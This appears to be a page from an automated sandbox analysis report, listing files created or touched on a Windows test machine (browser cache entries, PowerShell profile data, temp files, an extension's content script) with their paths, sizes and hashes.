5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 b37686a021e7f1100f00b9f4aae234fe5e4cbbdef6f1b1c2cf1d7c091f8c8a9e
MD5 27bdaa626df23c3236bcf39f5f8a501d
SHA1 a962917bd0af969009a0d2577c62e5fdcc8b8409
SHA512 5da76128eee376960cbfc21f2953e1af7ba3a25e3b3ba670ccdb794bac5dcdfbdcf03276d184467a7d40d78db6f2ed6d2ab29a54777a03d57dc69fe278b9d534
TLSH
T1F641394CB6EA1148B3B77F5AABF6A46D487BBC332E46C45E10010E4F4762A40D9B1B33
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 eeb949573763f385b591d90d713ca0b036f9cdad7b2d173e2ae519e419391fbd
MD5 f58111892f3e8bf95b61b532e6b84bf7
SHA1 034a5b848b599836c262ee805963a09ed63604c4
SHA512 1bcc9795c2d7bb62ef8cabf163a45fc7a76ca84e15d8d295cee63fd337b57279fea77b14fa4f728f6c5b142a21f231df13a399d6a9c8ccc057a8d51fd89c5751
TLSH
T15C11BA33B38C8921CC96163A408D9C1072B283C7819EDFAF7BC0C205A0BF488CB31190
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5847b622d2e1746c059543ccd9611416b76687d5f5e19574de6b0d725d1b776a
MD5 bbd3376a268b89c8347bf1ca0fb22124
SHA1 4ba84cd2472dab015d95e47462c0cffa9cee0d20
SHA512 0d2f3d16b8a511f6619e2543af0e0485096b2405f74ac371787e01715e719beab472fade1f1bbbecc1f3d2e3384a7f23cf8d3acd6345e4f5293d76814834d888
TLSH
T1CB218627B3DC8A21CC96123A109D9C10767683C7819E9F9F6BC0D614A0BF598CB61290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

activity-stream.contile.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\jaarrave.default-release\activity-stream.contile.json
Size 5KB
SHA256 00d20c4e77e8eeaf49928a612bee9263ee2368b867c8f1b2bb8db7d62f2b1787
MD5 6172f97932cd5cdcf50d71ed0e307f9f
SHA1 c4549547322e1095f8ca0dd0bc718c81333481b3
SHA512 539c4ae235f9187fc7f9aedbe5d3a43413c56e87e57db636de3a4e99f5adab9437aa5b3bba03dd8d5a6bc396ef8ea404d74eb30898171101f8c7766ddd25ea56
SSDEEP 96:6XWQbFui1SLRUPQ0AT/AxbPSH2wXFQ6LjAxKAx1SBb:DQb9SthXAZ2bO6CKAzUb
TLSH
T106B11DCB8559C16397A1EBD41D4F27CCF203724F4BD89A8DB3D2AC11E395766827EA80
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2CDA87721BF0237FA196F4CB31888454FAC8F535

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\jaarrave.default-release\cache2\entries\2CDA87721BF0237FA196F4CB31888454FAC8F535
Size 68KB
SHA256 4835b6ab13d8b82dee1f5c531aa4d608f20cf7b0d01578417847e85fd0b33dd7
MD5 1f94e4e86e62657d102393a21714e522
SHA1 aa3ce0af6ed351f55f05addb164c4ae4c33c01e6
SHA512 5f743d255a90e86f0ceb2787556bddf49ce72b6c02061e5858526216132bc4285a5e6c593749a0db32b83cb3094774ca9915857c3a4a7b3d5d3fce5f2d2c7a49
SSDEEP 1536:Gt7/ju35wgjjLrrqdb4xn5Vs57vcV+FxKr:Gt7S3PnrqSxnnsNvcV+FxKr
TLSH
T15663023B046E943EE7139DF1A09B048A2F6008F7DFF9E6BC7101562782A67E9D61408D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6D89348819C8881868053197CA0754F36784BF5F

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\jaarrave.default-release\cache2\entries\6D89348819C8881868053197CA0754F36784BF5F
Size 16KB
SHA256 6227199a5908e57b2fd37b8cbe8f7a79ac5e616e1bbc20cdc13a15be9a726c0a
MD5 168f053e3d29b82be05aacfefb231f31
SHA1 1d915509a2d10b219e2775b1daa3373bb4822667
SHA512 5b491a8defae686c34902984513e895a921266e85cb75d83049a82f0bb6f652bffda7a2655662aa765c69a76b95f624dec099ebeab05804bec9af81de0bf2bb8
SSDEEP 384:Q9g+Cj2jgJ4IlP61hu1wdvNd9KVRaAcP+AWRMAKI:520J4IlP61hiwdvNmVAf+hRMC
TLSH
T16072AF768F5164DB0763E4F60C6E27C85C02B24B9BDC85DC32993800D299BEBD5FC188
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

86DDBDE5E1EAFC4C588EE71FB531985C95CCC542

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\jaarrave.default-release\cache2\entries\86DDBDE5E1EAFC4C588EE71FB531985C95CCC542
Size 16KB
SHA256 24cab40559e1a154547aa04540ffe407b917d4244d6aa00c86947e9a5a7dad91
MD5 65519b7abd8f4641e1e0169ba329fc04
SHA1 c5f87bfc9546aa49ebefa858066b9a216b4d4752
SHA512 087637a0854b498b8fc150ba2bee8b5ff480f8d2ad93e7b69e49a54ab69f013b98a0c45d0d2fb26dc688d6b01d8f64a0bf88cd6aefb20145199c6ecc9edb40e4
SSDEEP 384:HXkRyiO024YMDL84KKDL849B7SOEAd9KVRaAcP+AWRMAU:3mZYMDL8lKDL8CB7S/AmVAf+hRMV
TLSH
T174727E3D5F003CAC25A7C0E8C4E992AA4D18B7A7DFE6C05D21583D0DCB98969B5F548F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8DEABBAA3C1F4E88D136424751CF968CE740EC7F

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\jaarrave.default-release\cache2\entries\8DEABBAA3C1F4E88D136424751CF968CE740EC7F
Size 102KB
SHA256 110437284a117897626a92daf2751f8d12a496d7af2f2f11ce365c49db7127b9
MD5 bee7431448dda28520a16c072df65056
SHA1 50bc0641cbfee44ff1da39d40b1b6b23d417afa9
SHA512 a30f27434f8bc1cccd267e880aa2d0720db06790f83060a761c648a7e1843dfb1a0f634bd1fa2b10c4caeaa07802c8790dc711dcaf8f2960484790d67e3cb43c
SSDEEP 1536:DS11wuFcMWsFi1RmheNyx0ekMUMuMx7Rb1hPfX2uSH6nF4dSafEASb55nV+aC/l0:DS1+sg1MnPSoPeHKL
TLSH
T15BA30897AF402842CA2A0775807727BA3779E18E1B43E7175ECE71727C4A76C6C748AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

C345EE57CAACC91AA926A1C71F04FC59EEFE9EA2

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\jaarrave.default-release\cache2\entries\C345EE57CAACC91AA926A1C71F04FC59EEFE9EA2
Size 10KB
SHA256 01dd8368f7a83bcc118b3fb601841e75184cc041715ac5361eb0f65a1673c140
MD5 a1cf510fc8057d5b561de68b0bffd814
SHA1 48f6f64091571a4ce5afecd767973932db595deb
SHA512 e9eabfc37465abd9938562a377df1b1fbb2d3d412cf55b44234ec25e6e17f71475595cfba85bb3287087dc553ccf0becec31946c920097fae3fab090fe2116f9
SSDEEP 192:1rgDpdmFl+2E4ZaX0qChZL7g3n6zOcAg3n6zOMWU587N61VGs:Bl+2E4ZakqChZLk36yct36yQ87Nm
TLSH
T151223A3A9E103505561B90E6AD9EC6E96F3DC4D3DF8F8D6E35461714C3C91A8A023DCE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CF3E0C8EA4FD8972AC5B6B89280120CF6A4F7FD4

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\jaarrave.default-release\cache2\entries\CF3E0C8EA4FD8972AC5B6B89280120CF6A4F7FD4
Size 163KB
SHA256 da7f3e0afcbb8ec726524a589c00edcc3a8e922ea50936e26bc4e384a9a4b03f
MD5 e086d58677489d027df200990db44cf9
SHA1 5d8f9e982ac95a13250d59546c638bb25e09d83c
SHA512 37fe02c53ead8d5a46998b877973db2b506f4551d1ddb48cbbc4a1582d1796a29a8ac3cbfa4f2c825411f511e93f4dc2b31449c532f0be67c9e4528e09d2d97d
SSDEEP 3072:LaDzyHsXyel82BuCxVdNpXH1yxCO44jni1lRm:La3tielfc+7yxCkOnm
TLSH
T1BEF3E826EE918B13C91503B544A317323F31E04567E6E71B6F8F7127AC2B3EA4D8299D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

webext.sc.lz4

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\jaarrave.default-release\startupCache\webext.sc.lz4
Size 104KB
SHA256 959470148fb88f1415bf4a29110c28723737fba7a85163eb5bf35be7bd43cc41
MD5 3c1dbfa4339045e4f7b4c2a8bf1a1710
SHA1 36867e4515bc04c15a9ba58123b2313d0bbb9aed
SHA512 72b9d5700d0f95cbd517fb69178efdd33b3a9728f2208df2a3230ef091f4500af2d8dd8719afa786c909dd0a6cb1a0024e0a091412451a0b5aae6348d1430b2c
SSDEEP 3072:j3lYjgM9N/K2oD8JdxY1XrVA8IVdD94FC:pYXNirgdx0Xh2dkC
TLSH
T18CA3AFF6DBA2CD3D64FFD02C9B92843EF9262444B3A73009C9636314A6C6BB47675648
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

02507b9d-1677-4cc0-9917-baa5cb787b6e.tmp

Path C:\Users\Admin\AppData\Local\Temp\02507b9d-1677-4cc0-9917-baa5cb787b6e.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

026d91fa-a3dc-4366-a193-01d873200719.tmp

Path C:\Users\Admin\AppData\Local\Temp\026d91fa-a3dc-4366-a193-01d873200719.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_fl2e3bfm.jo0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fl2e3bfm.jo0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1124_1353980521\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1329d26d-e199-46d6-bffd-b107adb9ddef.tmp

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1124_1484619548\1329d26d-e199-46d6-bffd-b107adb9ddef.tmp
Size 154KB
SHA256 e56c9164b667ad97b0cefcb26e48bcb2b04d8cc1a362ee921f2119a6a8798000
MD5 a922bd2071b7aa9f2154c991d41885c7
SHA1 c88b22d16c951cbb0bfdab367232cf830e0464d1
SHA512 d8ed2d6b1c3a421a9771e3a5109eaea839bf64be7b7e672ed7b8aa47590ff35c6e78aa79712ce37801cedc56db552fc6a7c3ca55004295a438219ce4a8f007a0
SSDEEP 3072:Aj0amyoD1f5NQQHyR5nYbGnkBEGsvsq5UBkUM4RIJ+37HVeCsKkwQuBp/Z:AoHBD15HEYbQkovswoM4RIIzvXkwtBpB
TLSH
T12BF3F11D7EDAC952C40B92BD3C1AB18BC94B8F0A431674CF264D90248EA578E07E5EFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 11KB
SHA256 ddf3ba4e25a622276755133e0cce5605b83719c7cab3546e09acbfed00d6a986
MD5 25e8156b7f7ca8dad999ee2b93a32b71
SHA1 db587e9e9559b433cee57435cb97a83963659430
SHA512 1211b2fa997ba13ff926aec58b6b35a81d7fe108b0caa8f4d6369d0a37f8481373b78a4b201651243adde9e2b2699ce929482a46226ff6299b0a0e40fe2ddc56
SSDEEP 192:96jbMOTaRNUB3K7L7KqRUGcW9KK+DOO4L5h3tCw0RZvjUFV3bXFwo10+H99uhNA:kjbMegNp7L7KCopFDUtCZvjU73zqFiu0
TLSH
T12A32AFAB081F8454EFA710F628B670CFA1BA95B4067C2B1E9B1819855809BD0C5D2EDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 502KB
SHA256 87862f4bc8559fbe578389a9501dc01c4c585edb4bb03b238493327296d60171
MD5 e690f995973164fe425f76589b1be2d9
SHA1 e947c4dad203aab37a003194dddc7980c74fa712
SHA512 77991110c1d195616e936d27151d02e4d957be6c20a4f3b3511567868b5ddffc6abbfdc668d17672f5d681f12b20237c7905f9b0daaa6d71dcdac4b38f2448b2
SSDEEP 12288:OACaeJXLVL+PLlSuxcewdMCx1uSremBgBohJmiixAzph3yZeErb:OltBL+PLQFZBgBo2xAzpsrb
TLSH
T199B423CCB77B7628D37A9C7BC257D4F853E9CA2B56423CE80C4E018D6540AB136963E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download